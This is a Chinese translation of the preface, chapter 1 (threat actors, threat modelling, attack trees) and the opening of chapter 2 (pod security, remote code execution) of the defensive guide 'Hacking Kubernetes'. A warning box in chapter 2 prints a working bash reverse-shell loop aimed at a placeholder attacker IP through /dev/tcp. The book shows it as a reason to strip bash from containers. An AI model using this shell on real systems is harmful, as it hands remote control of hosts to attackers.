Hubernetes-黑客指南-全-

Hubernetes 黑客指南(全)

原文:zh.annas-archive.org/md5/6c25894d28c0495d94b7fc283f8de261

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

欢迎阅读 《黑客 Kubernetes》,一本专为希望安全稳定运行其工作负载的 Kubernetes 实践者而写的书籍。截至撰写时,Kubernetes 已经存在了大约六年。有超过一百种认证的 Kubernetes 产品 可供选择,如分发版和托管服务。随着越来越多的组织决定将其工作负载迁移到 Kubernetes 上,我们希望在这本书中分享我们的经验,帮助您的工作负载更安全、更容易部署和操作。感谢您加入我们的旅程,希望您在阅读本书和应用所学知识时同样愉快。

在本前言中,我们将描述我们的目标受众,谈谈我们为什么写这本书,并解释我们认为您应该如何使用它,提供一个快速的内容指南。我们还会介绍一些行政细节,如 Kubernetes 的版本和使用的约定。

关于你

为了最大限度地利用本书,我们假设您要么担任 DevOps 角色,要么是 Kubernetes 平台专家,要么是云原生架构师,要么是站点可靠性工程师(SRE),或者从事与首席信息安全官(CISO)相关的工作。此外,我们假设您对实际操作感兴趣——尽管我们在原则上讨论威胁和防御,但我们尽力同时演示它们,并指导您使用能帮助您的工具。

此时,我们还要确保您了解到,您正在阅读的书籍面向高级主题。我们假设您已经对 Kubernetes 以及特别是 Kubernetes 安全主题有所了解,至少是表面了解。换句话说,我们不会详细讨论事物的工作原理,但会在每章节基础上进行总结或回顾重要的概念或机制。

警告

我们撰写本书时考虑了蓝队和红队。不言而喻,我们在这里分享的内容仅供保护您自己的 Kubernetes 集群和工作负载使用。

特别地,我们假设您了解容器的用途以及它们在 Kubernetes 中的运行方式。如果您对这些主题还不熟悉,我们建议您先做一些初步阅读。以下是我们建议参考的书籍:

  • Kubernetes: Up and Running,作者 Brendan Burns、Kelsey Hightower 和 Joe Beda(O’Reilly)

  • 管理 Kubernetes,作者 Brendan Burns 和 Craig Tracey(O’Reilly)

  • Kubernetes 安全,作者 Liz Rice 和 Michael Hausenblas(O’Reilly)

  • 容器安全,作者 Liz Rice(O’Reilly)

  • 云原生安全,作者 Chris Binnie 和 Rory McCune(Wiley)

现在我们已经明确了本书的目标以及我们认为谁将从中受益,让我们转移到另一个话题:作者们。

关于我们

基于我们共同超过 10 年的实际经验,设计、运行、攻击和防御基于 Kubernetes 的工作负载和集群,我们作为作者,希望为你作为云原生安全从业者提供成功所需的知识。

安全性通常是通过过去的错误之光来阐明的,我们两个都在学习(和犯错!)Kubernetes 安全性已经有一段时间了。我们希望确认我们对主题的理解是否正确,因此我们写了一本书,通过共同的视角验证我们的怀疑。

我们曾在不同的公司和角色中任职,提供培训课程,发布从工具到博客文章的材料,并在各种公开演讲中分享我们在该主题上的经验教训。我们在这里的动机和使用的例子很大程度上根植于我们日常工作中的经验和/或我们在客户公司观察到的事物。

如何使用本书

本书是关于 Kubernetes 安全的基于威胁的指南,使用纯净的 Kubernetes 安装及其(内建的)默认设置作为起点。我们将从一个分布式系统运行任意工作负载的抽象威胁模型开始讨论,并详细评估安全 Kubernetes 系统的每个组件。

在每一章中,我们都会检查组件的架构和潜在的默认设置,并审查高调攻击和历史上的公共漏洞(CVE)。我们还演示攻击并分享最佳实践配置,以示范从多个攻击角度加固集群。

为了帮助您浏览本书,以下是各章节的快速介绍:

  • 在第一章,“介绍”中,我们设定了场景,介绍了我们的主要对手以及威胁建模是什么。

  • 第二章,“Pod 级资源” 然后专注于 Pod,从配置到攻击到防御。

  • 接下来,在第三章,“容器运行时隔离”中,我们转变方向,深入探讨隔离和沙盒技术。

  • 接着,在第四章,“应用程序和供应链”中,我们讨论了供应链攻击及其检测和缓解方法。

  • 在第五章,“网络”中,我们再次审查网络默认设置以及如何保护集群和工作负载流量。

  • 然后,在第六章,“存储”中,我们将焦点转向持久性方面,查看文件系统、卷以及静态信息。

  • 第七章,“硬件多租户” 讲述了在集群中运行多租户工作负载的主题,以及可能出现的问题。

  • 接下来是 第八章,“策略”,我们在此章节回顾了各种使用的策略类型,讨论了访问控制——特别是基于角色的访问控制(RBAC)——以及通用策略解决方案如开放策略代理(OPA)。

  • 在 第九章,“入侵检测” 中,我们讨论了即使已经实施了控制措施,如果有人成功闯入,你可以采取的应对措施。

  • 最后一章,第十章,“组织”,有些特殊,不侧重于工具,而是侧重于云端和本地安装环境下的人员方面的讨论。

在 附录 A,“Pod 级攻击” 中,我们将通过一个实际的探索,手把手地介绍了有关 Pod 级攻击的讨论,正如在 第二章 中讨论的那样。最后,在 附录 B,“资源” 中,我们根据每章内容提供了进一步阅读材料,并汇集了在本书上下文中相关的注释 CVE 集合。

您无需按顺序阅读各章节;我们尽力使章节尽可能自包含,并在适当时引用相关内容。

注意

请注意,在撰写本书时,Kubernetes 1.21 是最新稳定版本。这里展示的大多数示例适用于早期版本,并且我们完全意识到,当您阅读本书时,当前版本可能会显著更高。但其核心概念保持不变。

通过这本简短的指南和快速的定位,让我们来看看本书中使用的约定。

本书中使用的约定

本书使用以下排版约定:

斜体

指示新术语、网址、电子邮件地址、文件名和文件扩展名。

固定宽度

用于程序清单。也在段落内用于引用程序元素,如变量或函数名称、数据库、数据类型、环境变量、语句和关键字。

提示

此元素表示提示或建议。

注意

此元素表示一般提示。

警告

此元素表示警告或注意事项。

使用代码示例

附加材料位于 http://hacking-kubernetes.info

如果您有技术问题或在使用代码示例时遇到问题,请发送电子邮件至 bookquestions@oreilly.com

本书旨在帮助您完成工作。通常情况下,如果本书提供示例代码,您可以在您的程序和文档中使用它。除非您要复制代码的大部分内容,否则无需征得我们的许可。例如,编写一个使用本书多个代码片段的程序不需要许可。销售或分发 O’Reilly 书籍的示例需要许可。引用本书回答问题并引用示例代码不需要许可。将本书大量示例代码整合到您产品的文档中需要许可。

我们感谢您的赞赏,但通常不要求署名。署名通常包括标题、作者、出版商和 ISBN。例如:“Hacking Kubernetes by Andrew Martin and Michael Hausenblas (O’Reilly)。版权所有 2022 Andrew Martin 和 Michael Hausenblas,978-1-492-08173-9。”

如果您认为您使用的示例代码超出了合理使用范围或以上给出的许可,欢迎随时与我们联系:permissions@oreilly.com

O’Reilly 在线学习

注意

40 多年来,O’Reilly Media 提供技术和商业培训、知识和洞察,帮助企业成功。

我们独特的专家和创新者网络通过书籍、文章和我们的在线学习平台分享知识和专业知识。O’Reilly 的在线学习平台提供按需访问的实时培训课程、深度学习路径、交互式编码环境,以及来自 O’Reilly 和其他 200 多家出版商的大量文本和视频。欲了解更多信息,请访问http://oreilly.com

如何联系我们

请将对本书的评论和问题寄给出版商:

  • O’Reilly Media, Inc.

  • Gravenstein Highway North 1005 号

  • 加利福尼亚州塞巴斯托波尔市 95472

  • 800-998-9938(美国或加拿大)

  • 707-829-0515(国际或本地)

  • 707-829-0104 (传真)

我们为本书设立了网页,列出勘误、示例和任何额外信息。您可以访问https://oreil.ly/HackingKubernetes

电子邮件bookquestions@oreilly.com以评论或提出关于本书的技术问题。

有关我们的图书和课程的新闻和信息,请访问http://oreilly.com

在 Facebook 上找到我们:http://facebook.com/oreilly

在 Twitter 上关注我们:http://twitter.com/oreillymedia

观看我们的 YouTube 频道:http://youtube.com/oreillymedia

致谢

感谢我们的审阅者 Roland Huss、Liz Rice、Katie Gamanji、Ihor Dvoretskyi、Mark Manning 和 Michael Gasch。您的评论确实起到了作用,我们感谢您的指导和建议。

Andy 要感谢他的家人和朋友们给予他不断的爱和鼓励,感谢 ControlPlane 团队那些鼓舞人心又锋利的成员给予的深刻洞察和指导,以及那些始终热心和卓越的云原生安全社区。特别感谢 Rowan Baker、Kevin Ward、Lewis Denham-Parry、Nick Simpson、Jack Kelly 和 James Cleverley-Prance。

Michael 要向他那令人感激而又支持无微不至的家人表达最深的谢意:我们的孩子 Saphira、Ranya 和 Iannis;我那位聪明又有趣的妻子 Anneliese,还有我们最棒的狗狗 Snoopy。

我们不得不提及Hacking Kubernetes Twitter 列表,它是我们灵感和指导的来源,包括按字母顺序排列的知名人物,如@antitree@bradgeesaman@brau_ner@christianposta@dinodaizovi@erchiang@garethr@IanColdwater@IanMLewis@jessfraz@jonpulsifer@jpetazzo@justincormack@kelseyhightower@krisnova@kubernetesonarm@liggitt@lizrice@lordcyphar@lorenc_dan@lumjjb@mauilion@MayaKaczorowski@mikedanese@monadic@raesene@swagitda_

最后但绝非最不重要的,两位作者特别感谢 O’Reilly 团队,尤其是 Angela Rufino,因为她在撰写本书的过程中给予了我们无微不至的指导。

第一章:介绍

加入我们,一起探索通过 Pod 进入 Kubernetes 的多种危险路径。从对手的角度来看待系统:了解多种防御方法及其弱点,并通过您的劲敌海盗 Dread Pirate Captain Hashjack 的眼光,重新审视云原生系统的历史攻击。

Kubernetes 迅速发展,但在历史上通常被认为不是“默认安全的”。主要是由于诸如网络和 Pod 安全策略等安全控制在纯净集群上未默认启用。

注意

作为作者,我们无限感激我们的旅程见证了 云原生启蒙,并向志愿者、核心贡献者和 Cloud Native Computing Foundation (CNCF) 的成员表示衷心的感谢,感谢他们在 Kubernetes 的愿景和交付中的参与。文档和错误修复不是自己写的,驱动开源社区的无私贡献从未如此自由和受欢迎。

安全控制通常比 Kubernetes 以复杂编排和分布式系统功能而闻名的复杂性更难正确配置。特别是对安全团队,我们感谢您的辛勤工作!本书反映了 Kubernetes 这艘良船的开拓之旅,航行于互联网的波涛汹涌和危险的自由海域。

设置场景

为了想象的沉浸体验:您刚刚成为初创货运公司 Boats, Cranes & Trains Logistics 的首席信息安全官(CISO),简称为 BCTL,该公司刚刚完成其 Kubernetes 迁移。

captain

公司以前曾遭到黑客攻击,并且“重视安全”。您有权采取必要的措施来确保公司的业务正常运行,无论是在形式上还是实质上。

欢迎来到新工作!这是您的第一天,您已被告知有可信的威胁正在对您的云系统发起攻击。喜欢容器的海盗和一般恶棍 Captain Hashjack 及其秘密黑客团队正准备对 BCTL 的 Kubernetes 集群进行突袭。

如果他们获取了访问权限,他们将挖掘比特币或者加密锁定他们能找到的任何有价值的数据。您尚未对您的集群和应用程序进行威胁建模,或者加固以抵御这类对手,因此我们将指导您保护它们免受盐水船长的攻击,以编码、外泄或掠夺他们能找到的任何贵重物品。

BCTL 集群是使用 kubeadm 在公共云提供商上进行的纯净 Kubernetes 安装。初始设置均为默认值。

提示

在电影 Hackers(1995)中,可以看到海洋控制系统不稳定的历史例子,例如 Ellingson Mineral Company 的油轮遭到公司首席信息安全官 Eugene “The Plague” Belford 的内部攻击(链接:oreil.ly/F28aj)。

要演示集群加固,我们将使用一个不安全的系统示例。它由 BCTL 网站可靠性工程(SRE)团队管理,这意味着团队负责保护 Kubernetes 主节点。这增加了集群的潜在攻击面:托管服务分别托管控制平面(主节点和etcd),它们的加固配置可以防止一些攻击(如直接etcd妥协),但这两种方法都依赖于集群的安全配置来保护你的工作负载。

让我们谈谈你的集群。节点在私有网络段运行,因此公共(互联网)流量无法直接访问它们。公共流量通过面向互联网的负载均衡器代理到您的集群:这意味着节点上的端口除非被负载均衡器针对,否则不直接对外可访问。

在集群上运行着一个 SQL 数据存储,以及前端、API 和批处理程序。

托管应用——公司客户的预订服务——使用 GitOps 部署在单个命名空间中,但未使用网络策略或 Pod 安全策略,如第八章中所述。

注意

GitOps 是用于应用程序的声明性配置部署:将其视为 Kubernetes 集群的传统配置管理。您可以在gitops.tech阅读更多,并了解如何在这份白皮书中加固 Git 以用于 GitOps。

图 1-1 展示了系统的网络图。

系统架构图

图 1-1. 你新公司 BCTL 的系统架构

集群的 RBAC 由已经离职的工程师配置。继承的安全支持服务有入侵检测和加固措施,但团队时常将其禁用,因为它们“噪音太大”。我们将深入讨论这个配置,随着航行的推进。但首先,让我们探讨如何预测集群的安全威胁。

开始威胁建模

理解系统如何受攻击对于防御至关重要。威胁模型让您更全面地了解复杂系统,并提供了一个合理化安全和风险的框架。威胁行为者对系统配置以防御潜在对手进行分类。

注意

威胁模型就像指纹:每个都不同。威胁模型基于系统妥协的影响:树莓派业余集群和您银行的集群持有不同的数据,面对不同的潜在攻击者,以及如果遭到入侵会有非常不同的问题。

威胁建模可以揭示关于你的安全程序和配置的见解,但它并不能解决一切——参见马克·曼宁在图 1-2 中关于 CVE 的评论。在考虑威胁模型可能揭示的更高级和技术性攻击之前,你应确保遵循基本的安全卫生习惯(如打补丁和测试)。这对任何安全建议都是适用的。

马克·曼宁关于 CVE 的见解

图 1-2. 马克·曼宁关于漏洞评估和 CVE 的见解

如果你的系统可以被已发布的 CVE 和一份Kali Linux的副本入侵,威胁模型对你没有帮助!

威胁行为者

你的威胁行为者可以是偶然的或有动机的。偶然的对手包括:

  • 互联网一代的涂鸦少年——破坏者

  • 无意中的闯入者在寻找宝藏(通常是你的数据)

  • 随便看看的“脚本小子”,他们会运行任何在互联网上找到的声称能帮助他们入侵的代码

对于大多数打过补丁且配置良好的系统来说,偶然的攻击者不应该是一个关注点。

有动机的个体才是你应该担心的。他们包括内部人员如信任的员工,运作于管控较弱州的有组织犯罪团伙,以及可能与有组织犯罪有重叠或直接赞助它的国家行为者。"互联网犯罪"在国际法中覆盖不足,很难加以监管。

表 1-1 可作为威胁建模的指南。

表 1-1. 威胁行为者的分类

行为者 动机 能力 示例攻击
破坏者:脚本小子,闯入者 好奇心,个人名声。因为击倒服务或入侵高知名度公司的机密数据而闻名。 使用公开可用的工具和应用程序(如 Nmap,Metasploit,CVE PoCs)。有些实验性质。攻击行为难以掩饰。低目标定位水平。 小规模的 DOS 攻击。种植木马。启动预打包的漏洞利用以获取访问权限,进行加密货币挖矿。
受动个体:政治活动家,小偷,恐怖分子 个人、政治或意识形态上的收益。通过篡改版本控制或工件存储中的代码或利用从票务和维基系统、OSINT 或系统其他部分获取的知识,可能获得通过外泄和出售大量个人数据来进行欺诈的个人收益。大众面向网络服务的 DDOS 攻击。通过篡改版本控制中的代码或公共服务器来篡改大众面向服务以在广大受众中传播政治信息。 可能以有针对性的方式结合公开可用的漏洞。修改开源供应链。隐匿对最小关注的攻击。 钓鱼。DDOS。利用已知漏洞获取系统中的敏感数据以用于牟利和情报,或篡改网站。通过嵌入代码来破坏开源项目,以在用户运行代码时窃取环境变量和秘密。导出的值用于获取系统访问权限并进行加密货币挖矿。
内部人员:员工,外部承包商,临时工 不满,牟利。通过外泄和出售大量个人数据以进行欺诈,或通过对数据完整性进行小幅改动以绕过身份验证进行欺诈。为了赎金加密数据卷。 对系统有详细了解,知道如何利用它,并且隐匿行动。 利用权限外泄数据(出售)。配置错误/"代码炸弹"来使服务中断以进行报复。
有组织犯罪:团伙,与国家相关的组织 赎金,大规模获取 PII/凭证/PCI 数据。操纵交易以获取财务收益。极有动机访问数据集或修改应用程序以促成大规模欺诈。加密货币勒索软件,例如,加密数据卷并要求现金。 能够投入相当资源,雇佣“作者”编写为实现其目的所需的工具和攻击。具有部分贿赂/胁迫/恐吓个人的能力。针对性不同。在达到目标之前隐匿。 社会工程/钓鱼。勒索软件(变得更有针对性)。加密货币挖矿。远程访问木马(RATs,数量下降)。利用多个漏洞进行协调攻击,可能使用单个零日漏洞或由恶意个体辅助通过基础设施(例如,Carbanak)进行渗透。
云服务内部人员:员工,外部承包商,临时工 个人收益,好奇心。云提供商应通过分工和技术控制来限制数据访问。 取决于云提供商的分工和技术控制。 访问或操作数据存储。
外国情报服务(FIS):国家机构 情报收集,破坏关键国家基础设施,未知。可能窃取知识产权,访问敏感系统,大规模挖掘个人数据,或通过系统持有的位置数据追踪特定个人。 破坏或修改硬件/软件供应链。能够渗透组织/供应商,调用研究项目,开发多个零日漏洞。高度定向。高水平的隐蔽性。 Stuxnet(多个零日漏洞,渗透包括 2 个离线根 CA 的 3 个组织)。SUNBURST(定向供应链攻击,渗透数百个组织)。
注意

威胁行为者可能是不同类别的混合体。例如,尤金·贝尔福德是一个内部人员,使用了先进的有组织犯罪方法。

Captain Hashjack 是一个积极的犯罪对手,打算进行勒索或抢劫。我们不赞同他们的策略——他们不公平,是个无赖和恶棍——因此,我们将尽全力阻止他们的不受欢迎的干预。

海盗船员一直在搜寻他们可以在线找到的任何有利信息,并且已经对 BCTL 进行了侦察。使用开源情报(OSINT)技术,如搜索工作岗位和当前员工的 LinkedIn 技能,他们已经确认了组织中使用的技术。他们知道你在使用 Kubernetes,并且能够猜测你从哪个版本开始使用。

你的第一个威胁模型

要对 Kubernetes 集群进行威胁建模,首先从系统的架构视图开始,如 Figure 1-3 所示。尽可能收集多的信息以保持所有人的一致性,但需要平衡:确保不要用过多信息压倒人们。

Kubernetes 示例攻击向量

图 1-3. Kubernetes 示例攻击向量 (Aqua)
提示

您可以通过 ControlPlane 的 O'Reilly 课程了解如何对 Kubernetes 进行威胁建模:Kubernetes 威胁建模

这个初步的图表可能展示整个系统,或者你可以选择仅限于一个小区域或重要区域,例如特定的 pod、节点或控制平面。

威胁模型的“范围”是其目标:我们目前最感兴趣的系统部分。

接下来,你要放大你的范围。在数据流图中,像 Figure 1-3 那样建模数据流和组件之间的信任边界。在决定信任边界时,考虑 Captain Hashjack 可能如何攻击组件。

详尽列出可能性胜过部分可行性的清单。

Adam Shostack,《威胁建模》

现在你知道你正在防御的对手是谁,你可以列举一些针对系统的高级威胁,并开始检查你的安全配置是否足以抵御它们。

要生成可能的威胁,您必须内化攻击者的心态:模拟他们的本能并预防他们的战术。图 1-4 中的谦逊数据流图是您硅质堡垒的防御地图,它必须能够抵御 Hashjack 及其混浊的同类。

Kubernetes 数据流图

图 1-4. Kubernetes 数据流图(GitHub
提示

应尽可能与多方利益相关者(开发、运维、质量保证、产品、业务利益相关者、安全)一起执行威胁建模,以确保思维的多样性。

您应该尝试在没有外部影响的情况下构建威胁模型的第一个版本,以促进流畅的讨论和有机的思想生成。然后,您可以引入外部来源来交叉检查团队的思维。

现在您已经收集了有关系统的所有信息,您可以进行头脑风暴。考虑简单性、诡计和狡猾。任何可以想象到的攻击都在范围内,并且您将分别评估攻击的可能性。有些人喜欢使用分数和加权数字进行评估,其他人则更喜欢理性化攻击路径。

将您的想法记录在电子表格、思维导图、列表或者其他合理的方式中。没有规则,只有尝试、学习和优化您自己版本的过程。尝试对威胁进行分类,并确保您能轻松审查捕获的数据。完成第一遍后,考虑您可能错过的内容,并进行快速第二遍。

现在您已经生成了初始的威胁——干得好!现在是时候将它们绘制成图表,以便更容易理解。这就是攻击树的工作:海盗的宝藏地图。

攻击树

攻击树显示了潜在的渗透向量。图 1-5 模拟了如何摧毁 Kubernetes 控制平面。

攻击树可能非常复杂,跨越多个页面,因此您可以像这个范围缩小的分支一样从小处开始。

此攻击树专注于拒绝服务(DoS),该攻击阻止(“否定”)系统(“服务”)的访问。攻击者的目标位于图表顶部,可用的路径从树的根(底部)开始。左侧的关键显示了逻辑“OR”和“AND”节点所需的形状,这些节点累积到树的顶部:负面结果。令人困惑的是,攻击树可以是自底向上或自顶向下的:在本书中,我们专门使用自底向上。我们将在本章后面详细讨论攻击树。

Kubernetes 攻击树

图 1-5. Kubernetes 攻击树(GitHub
提示

Kelly Shortridge在浏览器中的安全决策树工具Deciduous可用于生成这些攻击树作为代码。

随着我们在书中的进展,我们将使用这些技术来识别 Kubernetes 的高风险区域,并考虑成功攻击的影响。

提示

CVE-2019-11253中,YAML 反序列化的 Billion laughs 攻击影响了 Kubernetes 到 v1.16.1,通过攻击 API 服务器。由于它已经修复,所以这种攻击不在此攻击树中,但将历史攻击添加到您的攻击树中是承认其威胁的一种有用方法,如果您认为它们有很高的再发生机会。

示例攻击树

也有必要绘制攻击树来概念化系统可能受到攻击的方式,并使控制更容易推理。幸运的是,我们的初始威胁模型包含了一些有用的例子。

这些图表使用一个简单的图例,见图 1-6。

攻击树图例

图 1-6. 攻击树图例

“目标”是攻击者的目标,我们正在构建攻击树来理解如何防止它。

逻辑的“AND”和“OR”门定义了需要完成哪些子节点以通过它们的进展。

在图 1-7 中,您可以看到一个攻击树,以威胁行为者在容器中的远程代码执行开始。

攻击树:受损容器

图 1-7. 攻击树:受损容器

现在您知道您想要防范的内容,并且有了一些简单的攻击树,因此您可以量化要使用的控制措施。

先例

此时,您的团队已生成威胁列表。现在我们可以将它们与一些常用的威胁建模技术和攻击数据进行交叉参考:

现在也是利用可能已经存在的预先存在的泛化威胁模型的好时机:

没有完整的威胁模型。它是来自您的利益相关者的现阶段最佳努力,并应定期修订和更新,因为架构、软件和外部威胁将不断变化。

软件永远不会完成。你不能停止它的工作。它是一个正在运动的生态系统的一部分。

Moxie Marlinspike

结论

现在,你已经掌握了基础知识:你了解你的对手,哈希杰克船长,以及他们的能力。你理解了威胁模型是什么,为什么它是至关重要的,以及如何达到全面了解系统的角度。在这一章中,我们进一步讨论了威胁行为者和攻击树,并通过一个具体的例子进行了演示。我们现在心中有了一个模型,所以我们将探索主要的 Kubernetes 领域的每一个方面。让我们一跃而下:我们从 Pod 开始。

第二章:Pod 级资源

本章涉及 Kubernetes 部署的原子单位:pod。Pod 运行应用程序,一个应用程序可能由一个或多个容器在一个或多个 pod 中协同工作。

我们将考虑 pod 内外可能发生的坏事,并探讨如何减少遭受攻击的风险。

与任何合理的安全工作一样,我们将首先为系统定义一个轻量级的威胁模型,识别它所防御的威胁行为者,并突出最危险的威胁。这为您制定对策和控制措施,采取防御步骤以保护客户的宝贵数据提供了坚实的基础。

我们将深入探讨 pod 的安全模型,并查看默认可信的内容,通过配置可以加强安全性,以及攻击者的行动轨迹。

默认值

Kubernetes 历来没有默认进行安全加固,有时这可能导致权限提升或容器突破。

如果我们放大单个 pod 与主机之间的关系,在图 2-1 中,我们可以看到 kubelet 为容器提供的服务以及可能限制对手的潜在安全边界。

默认情况下,许多配置都是按最小特权合理配置的,但用户提供的配置更常见(如 pod YAML、集群策略、容器镜像),存在更多意外或恶意配置的机会。大多数默认配置是明智的——在本章中,我们将展示它们的例外情况,并演示如何测试您的集群和工作负载是否安全配置。

Pod 架构

图 2-1. Pod 架构

威胁模型

我们为每个威胁模型定义了一个范围。在这里,您正在对 pod 进行威胁建模。让我们首先考虑 Kubernetes 威胁的一个简单组。

网络上的攻击者

敏感端点(如 API 服务器)如果公开,易受攻击。

应用程序被妥协,导致容器立足点

应用程序被妥协(远程代码执行、供应链被篡改)是攻击的开始。

建立持久性

窃取凭据或获得对 pod、节点和/或容器重启具有韧性的持久性。

恶意代码执行

运行利用来旋转或升级,并枚举端点。

访问敏感数据

从 API 服务器、附加存储和可通过网络访问的数据存储中读取机密数据。

拒绝服务

对攻击者而言,这很少是一个好的时间利用。拒绝钱包服务和加密锁定是常见的变体。

提示

“先前的艺术”中的威胁源有其他负面结果可以与此列表进行交叉参考。

攻击解剖

captain

Hashjack 船长通过枚举 BCTL 的 DNS 子域和 S3 存储桶来开始对系统的攻击。这些可能为进入组织系统提供了一条简单的途径,但在这次事件中没有找到易于利用的东西。

不受阻挡,他们在公共网站上创建一个帐户并登录,使用像zaproxy(OWASP Zed Attack Proxy)这样的 Web 应用扫描器,来窥探 API 调用和应用程序代码,寻找意外响应。他们在寻找泄露 Web 服务器标头和版本信息(以了解哪些漏洞可能成功),通常会注入和模糊 API 以处理不良处理的用户输入。

这种严格程度,你糟糕维护的代码库和系统可能不会经受太久。攻击者可能在大海捞针,但只有最安全的干草堆里根本没有针。

注意

任何计算机都应该抵抗这种不加区分的攻击类型:Kubernetes 系统应通过能够使用最新软件和硬化配置保护自己来实现“最小可行安全性”。Kubernetes 鼓励定期更新,支持最近的三个次要版本(例如 1.24、1.23 和 1.22),每 4 个月发布一次,确保一年的补丁支持。旧版本不受支持且可能存在漏洞。

尽管攻击的许多部分可以自动化,但这是一个复杂的过程。普通的攻击者更可能广泛扫描触发已发布 CVE 的软件路径,并运行自动化工具和脚本针对大范围的 IP 地址(例如公共云提供商广告的范围)。这些方法很吵。

远程代码执行

如果你的应用程序中存在漏洞可以用来运行不可信的(在这种情况下是外部的)代码,这被称为远程代码执行(RCE)。对手可以使用 RCE 生成一个远程控制会话到应用程序的环境中:这里是处理网络请求的容器,但如果 RCE 设法将不可信的输入传递到系统更深层,它可能利用不同的进程、Pod 或集群。

Kubernetes 和 Pod 安全的第一个目标应该是防止 RCE,这可能是像kubectl exec这样简单,或者像在图 2-2 中演示的反向 Shell 那样复杂。

haku 0202

图 2-2. Kubernetes Pod 中的反向 Shell

应用程序代码经常变动,可能隐藏未发现的错误,因此强大的应用程序安全(AppSec)实践(包括工具的 IDE 和 CI/CD 集成以及专门的安全需求作为任务验收标准)对阻止攻击者入侵运行在 Pod 中的进程至关重要。

注意

Java 框架 Struts 是曾经部署最广泛的库之一,存在一个远程可利用的漏洞(CVE-2017-5638),这导致了 Equifax 客户数据泄漏事件。为了解决容器中此类供应链漏洞,可以通过 CI 快速重新构建带补丁的库并重新部署,从而减少暴露于互联网的易受攻击的库的风险窗口。我们将在全书中探讨其他获取远程代码执行的方法。

有了这些,让我们继续讨论网络方面的内容。

网络攻击面

Kubernetes 集群最大的攻击面是其网络接口和面向公众的 pod。面向网络的服务如 Web 服务器是保持集群安全的第一道防线,这是我们将在第五章中深入探讨的主题。

这是因为从网络各处进入的未知用户可以扫描面向网络的应用程序,寻找远程代码执行的可利用迹象。他们可以使用自动化的网络扫描工具来尝试利用已知的漏洞和网络代码中的输入处理错误。如果一个进程或系统被迫以意外的方式运行,那么通过这些未经测试的逻辑路径,它可能会被攻击者利用。

要了解攻击者如何仅仅通过强大的但又谦逊的 Bash shell 在远程系统中建立立足点,例如,可以参考《Cybersecurity Ops with bash》一书的第十六章,作者为 Paul Troncone 和 Carl Albing(O’Reilly)。

为了防御此类攻击,我们必须扫描容器,寻找操作系统和应用程序的 CVE 漏洞,并希望在它们被利用之前对其进行更新。

如果 Hashjack 船长成功远程代码执行到一个 pod 内部,这将成为深入攻击您系统的一个立足点,通过 pod 的网络位置和权限设置。您应该努力限制攻击者在这个位置能做的事情,并根据工作负载的敏感性定制您的安全配置。如果您的控制太松散,这可能是雇主 BCTL 公司范围内遭遇全面违规的开端。

提示

例如使用 Metasploit 在 Struts 中生成一个 shell,请参阅Sam Bowne 的指南

正如 Dread Pirate Hashjack 刚刚发现的,我们还一直在运行一个有漏洞的 Struts 库版本。这给攻击者从内部开始攻击集群提供了机会。

警告

类似这样一个简单的 Bash 反向 shell 是移除容器中 Bash 的一个很好的理由。它利用了 Bash 的虚拟 /dev/tcp/ 文件系统,而在不包含这个常被滥用功能的sh中则无法利用:

revshell() {
    local TARGET_IP="${1:-123.123.123.123}";
    local TARGET_PORT="${2:-1234}";
    while :; do
        nohup bash -i &> \
          /dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1;
        sleep 1;
    done
}

攻击开始时,让我们看看海盗们登陆的位置:在一个 Kubernetes pod 内部。

Kubernetes 工作负载:Pod 内的应用程序

多个协作容器可以被逻辑地分组到一个 pod 中,Kubernetes 运行的每个容器必须运行在一个 pod 内。有时一个 pod 被称为一个“工作负载”,这是同一个执行环境的多个副本之一。每个 pod 必须在你的 Kubernetes 集群中的一个节点上运行,如图 2-3 所示。

一个 pod 是你的应用的单个实例,为了按需扩展,使用多个相同的 pod 来复制应用程序,通过工作负载资源(如 Deployment、DaemonSet 或 StatefulSet)。

你的 pod 可能包括支持监控、网络和安全的 sidecar 容器,以及用于 pod 引导的“init”容器,使你能够部署不同的应用程序风格。这些 sidecar 很可能具有提升的权限,并且对攻击者来说是感兴趣的对象之一。

“Init” 容器按顺序运行(从头到尾)以设置一个 pod,并可以对命名空间进行安全更改,例如 Istio 的 init 容器配置 pod 的 iptables(在内核的 netfilter 中),以便运行时(非 init 容器)的 pod 通过 sidecar 容器路由流量。Sidecar 与 pod 中的主要容器并行运行,一个 pod 中的所有非 init 容器同时启动。

集群部署示例

图 2-3. 集群部署示例;来源:Kubernetes 文档

云原生应用通常是微服务、Web 服务器、工作者和批处理进程。一些 pod 运行一次性任务(封装在作业中,或者可能是一个单独的不重启的容器),也许运行多个其他 pod 以进行辅助。所有这些 pod 都为攻击者提供了机会。Pod 被入侵了。或者更常见的是,一个面向网络的容器进程被入侵。

一个 pod 是一个信任边界,包括其内部的所有容器,包括它们的身份和访问权限。在 pod 之间仍然存在分离,你可以通过策略配置增强它,但在威胁建模时应考虑 pod 的所有内容。

Tip

Kubernetes 是一个分布式系统,操作的顺序(例如应用多文档 YAML 文件)是最终一致的,这意味着 API 调用并不总是按照你期望的顺序完成。顺序依赖于各种因素,不应该依赖于它们。Tabitha Sable 对 Kubernetes 有一个机械同情的定义。

tabby sable

什么是 Pod?

一个 pod 如图 2-4 所示,是 Kubernetes 的一项发明。它是多个容器运行的环境。Pod 是你可以要求 Kubernetes 运行的最小可部署单元,并且其中的所有容器将在同一节点上启动。一个 pod 拥有自己的 IP 地址,可以挂载存储,其命名空间包围由容器运行时(如 containerd 或 CRI-O)创建的容器。

示例 pods

图 2-4. 示例 pods(来源:Kubernetes 文档

容器是一个迷你 Linux,其进程通过控制组(cgroups)进行容器化,以限制资源使用,并通过命名空间限制访问。正如我们将在本章中看到的,还可以应用各种其他控制来限制容器化进程的行为。

Pod 的生命周期由 kubelet 控制,它是 Kubernetes API 服务器的副手,部署在集群中的每个节点上来管理和运行容器。如果 kubelet 与 API 服务器失去联系,它将继续管理其工作负载,并在必要时重新启动它们。如果 kubelet 崩溃,容器管理器也会保持容器的运行状态,以防它们崩溃。kubelet 和容器管理器负责监视您的工作负载。

kubelet 在工作节点上运行 Pod,指导容器运行时并配置网络和存储。Pod 中的每个容器都是 Linux 命名空间、cgroups、权限和 Linux 安全模块(LSM)的集合。当容器运行时构建容器时,每个命名空间都会被单独创建和配置,然后再组合成一个容器。

提示

权限(Capabilities)是针对“特殊”根用户操作的单个开关,例如更改任何文件的权限、将模块加载到内核中、以原始模式访问设备(例如网络和 I/O)、BPF 和性能监视,以及其他每一项操作。

